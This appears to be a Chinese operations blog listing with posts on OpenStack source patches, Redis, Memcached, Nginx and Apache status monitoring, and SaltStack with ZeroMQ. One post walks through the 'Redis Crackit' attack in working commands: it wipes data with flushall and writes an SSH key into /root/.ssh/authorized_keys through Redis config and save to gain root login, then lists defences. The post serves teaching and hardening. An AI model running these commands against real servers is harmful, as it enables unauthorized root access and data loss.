运维知识体系

运维知识体系

运维知识体系总结,持续更新,欢迎转载。
缓存知识体系

缓存知识体系

运维知识体系之缓存,分层多级缓存体系。
K8S实践指南

K8S实践指南

Docker和Kubernetes实践指南(每周更新)
新运维课堂

新运维课堂

全新体系化课程,开启运维新征程!

OpenStack桌面虚拟化支持USB重定向和声卡

OpenStack赵班长 发表了文章 • 8 个评论 • 4036 次浏览 • 2015-11-17 18:04 • 来自相关话题

公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去: vim /usr/lib/python2.6/site-packages/nova ...查看全部
公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去:

vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/driver.py
    def to_xml(self, context, instance, network_info, disk_info,
image_meta=None, rescue=None,
block_device_info=None, write_to_disk=False):
# We should get image metadata every time for generating xml
if image_meta is None:
(image_service, image_id) = glance.get_remote_image_service(
context, instance['image_ref'])
image_meta = compute_utils.get_image_metadata(
context, image_service, image_id, instance)
# NOTE(danms): Stringifying a NetworkInfo will take a lock. Do
# this ahead of time so that we don't acquire it while also
# holding the logging lock.
network_info_str = str(network_info)
LOG.debug(_('Start to_xml '
'network_info=%(network_info)s '
'disk_info=%(disk_info)s '
'image_meta=%(image_meta)s rescue=%(rescue)s'
'block_device_info=%(block_device_info)s'),
{'network_info': network_info_str, 'disk_info': disk_info,
'image_meta': image_meta, 'rescue': rescue,
'block_device_info': block_device_info},
instance=instance)
conf = self.get_guest_config(instance, network_info, image_meta,
disk_info, rescue, block_device_info)
pre_xml = conf.to_xml()
hack_xml = """
<append>
<controller type='usb' index='0' model='ich9-ehci1'/>
<controller type='usb' index='0' model='ich9-uhci1'>
<master startport='0'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci2'>
<master startport='2'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci3'>
<master startport='4'/>
</controller>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<sound model='ich6'>
<alias name='sound0'/>
</sound>
</append>
"""
tar_obj = ''
libvit_obj = minidom.parseString(pre_xml)
hack_obj = minidom.parseString(hack_xml)
for c_lib_obj in libvit_obj.childNodes[0].childNodes:
if (isinstance(c_lib_obj, minidom.Element) and c_lib_obj.tagName == 'devices'):
c_lib_obj.childNodes.extend(hack_obj.childNodes[0].childNodes)

xml = libvit_obj.toxml()
if write_to_disk:
instance_dir = libvirt_utils.get_instance_path(instance)
xml_path = os.path.join(instance_dir, 'libvirt.xml')
libvirt_utils.write_to_file(xml_path, xml)

LOG.debug(_('End to_xml xml=%(xml)s'),
{'xml': xml}, instance=instance)
return xml

简单的说,就是让Nova生成libvirt xml的时候,硬编码进去相关的xml标签,好暴力,但是高效好用!

在使用docker时,如何追加端口最为方便

运维杂谈赵班长 回复了问题 • 2 人关注 • 1 个回复 • 2518 次浏览 • 2015-11-17 16:21 • 来自相关话题

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 5624 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!     目前Redis Crackit都炒翻 ...查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushallOK#把公钥写入到一个key里面[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen#连接到这个redis上[root@test-node1 ~]# redis-cli -h 192.168.199.221#设置rdb文件存放的路径redis 192.168.199.221:6379> config set dir /root/.ssh/OK#设置rdb文件的文件名redis 192.168.199.221:6379> config set dbfilename "authorized_keys"OK#搞定保存redis 192.168.199.221:6379> saveOK#退出redis 192.168.199.221:6379> exit#尝试登陆吧[root@test-node1 ~]# ssh root@192.168.199.221Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys[root@test-node2 ~]# cat /root/.ssh/authorized_keys注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。如何防护:     1.禁用这些可以入侵的命令:     [root@test-node2 ~]# vim /etc/redis.conf     rename-command FLUSHALL ""     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。     2.将你的redis不要运行在0.0.0.0.或者设置验证。     [root@test-node2 ~]# vim /etc/redis.conf    requirepass redis-passwd    bind 192.168.199.11   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。如何发现被入侵:   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

OpenStack 无法连接到Neutron 问题解决

OpenStack赵班长 发表了文章 • 2 个评论 • 8597 次浏览 • 2015-11-11 10:19 • 来自相关话题

    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。     注意:还有一种情况,就是你的Neutron真的无法连接,要查看 ...查看全部
    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart

应用监控-Redis状态监控

运维监控赵班长 发表了文章 • 1 个评论 • 3758 次浏览 • 2015-10-29 08:17 • 来自相关话题

Redis可以使用INFO命令,进行状态监控。 以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。 通过给定可选的参数 section ,可以让命令只返回某一部分的信息: ...查看全部
Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。

应用监控-Memcached状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2333 次浏览 • 2015-10-29 08:16 • 来自相关话题

[root@lb-node2 ~]# telnet 192.168.0.32 11211 Trying 192.168.0.32... Connected to lb-node2.unixhot.com (192.168.0.32). ...查看全部
[root@lb-node2 ~]# telnet 192.168.0.32 11211
Trying 192.168.0.32...
Connected to lb-node2.unixhot.com (192.168.0.32).
Escape character is '^]'.
stats
STAT pid 28123
STAT uptime 12108651
STAT time 1432622335
STAT version 1.4.20
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 302790.469851
STAT rusage_system 532615.597121
STAT curr_connections 1296
STAT total_connections 11753300
STAT connection_structures 12455
STAT reserved_fds 20
STAT cmd_get 25390452631
STAT cmd_set 432317850
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 25032687722
STAT get_misses 357764909
STAT delete_misses 252
STAT delete_hits 8799
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 2895142583054
STAT bytes_written 70030373847154
STAT limit_maxbytes 8489271296
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 21
STAT hash_bytes 16777216
STAT hash_is_expanding 0
STAT malloc_fails 0
STAT bytes 356408566
STAT curr_items 480250
STAT total_items 432317850
STAT expired_unfetched 136046737
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 172307832
STAT crawler_reclaimed 0
END
这里显示了很多状态信息,下边详细解释每个状态项:
  • pid: memcached服务进程的进程ID
  • uptime: memcached服务从启动到当前所经过的时间,单位是秒。
  • time: memcached服务器所在主机当前系统的时间,单位是秒。
  • version: memcached组件的版本。
  • libevent:当前使用的libevent的版本
  • pointer_size:服务器所在主机操作系统的指针大小,一般为32或64.
  • curr_items:表示当前缓存中存放的所有缓存对象的数量。
  • total_items:表示从memcached服务启动到当前时间,系统存储过的所有对象的数量,包括目前已经从缓存中删除的对象。
  • bytes:表示系统存储缓存对象所使用的存储空间,单位为字节。
  • curr_connections:表示当前系统打开的连接数。
  • total_connections:表示从memcached服务启动到当前时间,系统打开过的连接的总数。
  • connection_structures:表示从memcached服务启动到当前时间,被服务器分配的连接结构的数量,这个解释是协议文档给的,具体什么意思,我目前还没搞明白。
  • cmd_get:累积获取数据的数量,这里是3,因为我测试过3次,第一次因为没有序列化对象,所以获取数据失败,是null,后边有2次是我用不同对象测试了2次。
  • cmd_set:累积保存数据的树立数量,这里是2.虽然我存储了3次,但是第一次因为没有序列化,所以没有保存到缓存,也就没有记录。
  • get_hits:表示获取数据成功的次数。
  • get_misses:表示获取数据失败的次数。
  • evictions:为了给新的数据项目释放空间,从缓存移除的缓存对象的数目。比如超过缓存大小时根据LRU算法移除的对象,以及过期的对象。
  • bytes_read:memcached服务器从网络读取的总的字节数。
  • bytes_written:memcached服务器发送到网络的总的字节数。
  • limit_maxbytes:memcached服务缓存允许使用的最大字节数。这里为67108864字节,也就是是64M.与我们启动memcached服务设置的大小一致。
  • threads:被请求的工作线程的总数量

 
查看Memcached当时状态


printf "stats\r\n" | nc 127.0.0.1 11211


查看Memcached实时状态


watch "printf 'stats\r\n' | nc 127.0.0.1 11211"


应用监控-Nginx状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2824 次浏览 • 2015-10-29 08:11 • 来自相关话题

开启方法server { server_name 127.0.0.1; location /nginx_status { stub_status on; ...查看全部
开启方法
server {
server_name 127.0.0.1;
location /nginx_status {
stub_status on;
access_log off;
allow 127.0.0.1;
deny all;
}
}
输出例子


Active connections: 3176
server accepts handled requests
 12633357212 12633357212 16331056076
Reading: 4 Writing: 97 Waiting: 3075


输出详情
  • Active connections:   当前 Nginx 正处理的活动连接数。
  • serveraccepts handled requests — 总共处理了 233851 个连接 , 成功创建 233851 次握手 (证明中间没有失败的 ), 总共处理了 687942 个请求 ( 平均每次握手处理了 2.94 个数据请求 )。
  • Reading :     nginx当前读取到客户端的 Header 信息数。
  • writing :        nginx 当前返回给客户端的 Header 信息数。
  • waiting:         开启 keep-alive 的情况下,这个值等于 active – (reading + writing), 意思就是 Nginx 已经处理完正在等候下一次请求指令的驻留连接。

应用监控-Apache状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2660 次浏览 • 2015-10-29 08:10 • 来自相关话题

开启方法 如果是源码安装的默认在httpd-info.conf里面有相关配置,可以在httpd.conf里面进行include。 httpd.conf: Include conf/extra/httpd-inf ...查看全部
开启方法

如果是源码安装的默认在httpd-info.conf里面有相关配置,可以在httpd.conf里面进行include。
httpd.conf:
Include conf/extra/httpd-info.conf
注意在httpd-info.conf里面有两个配置分别为server-status和server-info。分别依赖mod_status和mod_info模块。
  • Mod_status里面主要是Apache当前的连接状态,通过设置ExtendedStatus On可以输出更完整详细的内容。
  • Mod_info的输出是Apache所有运行状态的完整输出,包括配置文件等,有点类似于phpinfo的效果。

<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>
ExtendedStatus On
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from 124.192.11.16
</Location>

需要强调的是,用户开启状态,注意设置Allow From,以免造成敏感信息的泄漏。

中小企业自动化部署实践和监控体系构建实践

DevOps赵班长 发表了文章 • 0 个评论 • 2392 次浏览 • 2015-10-28 10:14 • 来自相关话题

下面是我在微信公众号:高效运维分享的两篇文章,欢迎拍砖和转发! 中小企业自动化部署实践 中小企业监控体系构建实践 ...查看全部
下面是我在微信公众号:高效运维分享的两篇文章,欢迎拍砖和转发!


中小企业自动化部署实践

中小企业监控体系构建实践

SaltStack快速入门(5)-SaltStack与ZeroMQ

SaltStack赵班长 发表了文章 • 2 个评论 • 4629 次浏览 • 2015-10-27 22:46 • 来自相关话题

    我们进行自动化运维大多数情况下,是我们的服务器数量已经远远超过人工SSH维护的范围,SaltStack可以支数以千计,甚至更多的服务器。这些性能的提供主要来自于ZeroMQ,因为SaltStack底层是基于ZeroMQ进行高效的网络通信。ZMQ用于no ...查看全部
    我们进行自动化运维大多数情况下,是我们的服务器数量已经远远超过人工SSH维护的范围,SaltStack可以支数以千计,甚至更多的服务器。这些性能的提供主要来自于ZeroMQ,因为SaltStack底层是基于ZeroMQ进行高效的网络通信。ZMQ用于node与node间的通信,node可以是主机也可以是进程。

ZeroMQ简介
  ZeroMQ(我们通常还会用ØMQ , 0MQ, zmq等来表示)是一个简单好用的传输层,像框架一样的一个套接字库,他使得Socket编程更加简单、简洁和性能更高。它还是一个消息处理队列库,可在多个线程、内核和主机盒之间弹性伸缩。
发布与订阅
ZeroMQ支持Publish/Subscribe,即发布与订阅模式,我们经常简称Pub/Sub。

1.png


 Salt Master运行两个网络服务,其中一个是ZeroMQ PUB系统,默认监听4505端口。可以通过修改/etc/salt/master配置文件的publish_port参数设置。它是salt的消息发布系统,如果查看4505端口,会发现所有的Minion连接到Master的4505端口,TCP状态持续保持为ESTABLISHED。


[root@ master]# lsof -i:4505


    这样Salt Master发布一个消息,所有连接到4505这个Pub端口上的Minion都会接收到这个消息。然后每个Minion会再判断自己是否需要执行这个消息。

请求与响应
ZeroMQ支持Request-Reply,即请求与响应模式,我们经常简称REQ/REP。
2.png


     Salt Master运行的第二个网络服务就是ZeroMQ REP系统,默认监听4506端口,可以通过修改/etc/salt/master配置文件的ret_port参数设置。它是salt客户端与服务端通信的端口。比如说Minion执行某个命令后的返回值就是发送给Master的4506这个REP端口
由于我们在最初安装了python-setproctitle软件包,所以我们可以直接看到Salt Master启动的进程的名称。


[root@ops-node1 ~]# ps aux | grep salt
/usr/bin/salt-master -d ProcessManager  #中心进程管理器
/usr/bin/salt-master -d _clear_old_jobs  #清除旧的Jobs文件及更新fileserver
/usr/bin/salt-master -d Publisher       #将任务PUB到Minion端
/usr/bin/salt-master -d EventPublisher  #Event Publisher进程
/usr/bin/salt-master -d ReqServer_ProcessManager #ReqServer进程管理器
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorker  #工作进程
/usr/bin/salt-master -d MWorkerQueue #将Ret接口(ROUTER)数据转发到Worker(DEALER)